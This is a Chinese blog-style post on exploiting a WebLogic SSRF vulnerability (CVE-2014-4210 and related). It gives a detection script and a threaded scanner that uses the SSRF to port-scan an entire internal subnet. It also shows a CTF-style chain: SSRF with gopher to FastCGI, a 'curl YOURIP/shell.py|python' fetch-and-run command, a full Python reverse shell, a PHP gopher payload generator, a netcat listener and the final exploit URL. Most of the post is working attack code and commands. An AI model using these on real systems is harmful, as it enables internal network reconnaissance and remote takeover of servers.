WebLogic SSRF简易的利用脚本

priess1314

这个漏洞可以对内网进行扫描.之前弄过简单的探测，时间久远就给忘记了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#WebLogic SSRF And XSS (CVE-2014-4241, CVE-2014-4210, CVE-2014-4242)
#refer:[url]http://blog.csdn.net/cnbird2008/article/details/45080055[/url]
 
import re
import urlparse
 
def assign(service, arg):
    if service == 'www':
        return True, arg
 
 
def audit(arg):
    payload = 'uddiexplorer/SearchPublicRegistries.jsp?operator=http://0day5.com/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search'
    url = arg + payload
    code, head, res, errcode, _ = curl.curl('"%s"' % url)
    m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException', res)
    if m:
        security_warning(url)
 
if __name__ == '__main__':
    from dummy import *
    audit(assign('www', 'http://www.example.com/')[1])
但是最近因为有需求.要列出内网的部分信息。于是就修改了这个脚本，方便大批量的扫描应用

#!/usr/bin/env python  
# -*- coding: utf-8 -*- 
import re
import sys
import time
import thread
import requests
  
def scan(ip_str):
    ports = ('21','22','23','53','80','135','139','443','445','1080','1433','1521','3306','3389','4899','8080','7001','8000',)
    for port in ports:
        exp_url = "http://weblogic.0day5.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str,port)
 
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            #SSRF判断
            re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content)
            #丢失连接.端口连接不上
            re_sult2 = re.findall('but could not connect',response.content)
 
            if len(re_sult1)!=0 and len(re_sult2)==0:
                print ip_str+':'+port
 
        except Exception, e:
            pass
         
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ，然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(3)
      
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)
    
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

得到的结果

前不久尝试了一个有php+weblogic+FastCGI的挑战.我们知道SSRF+GOPHER一直都很牛逼，最近更是火热到了不要不要的地步。在drops里面有关于这个的文章http://drops.wooyun.org/tips/16357。简单的说下利用步骤

nc -l -p 9000 >x.txt & go run fcgi_exp.go system 127.0.0.1 9000 /opt/discuz/info.php "curl YOURIP/shell.py|python"
php -f gopher.php

把payload保存到x.txt。bash反弹无效，改成python来反弹。然后urlencode编码payload生成ssrf.php

import socket,subprocess,os  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect(("yourip",9999))  
os.dup2(s.fileno(),0)  
os.dup2(s.fileno(),1)  
os.dup2(s.fileno(),2)  
p=subprocess.call(["/bin/bash","-i"]);

gopher.php

<?php
$p = str_replace("+", "%20", urlencode(file_get_contents("x.txt")));
file_put_contents("ssrf.php", "<?php header('Location: [url]gopher://127.0.0.1:9000/_[/url]".$p."');?>");
?>

成功生成了利用文件ssrf.php

反弹shell

vps上运行监听端口

nc -lvv 9999

利用SSRF

[url]http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business%20location&btnSubmit=Search&operator=YOURIP/ssrf.php[/url]

如果利用成功则会成功反弹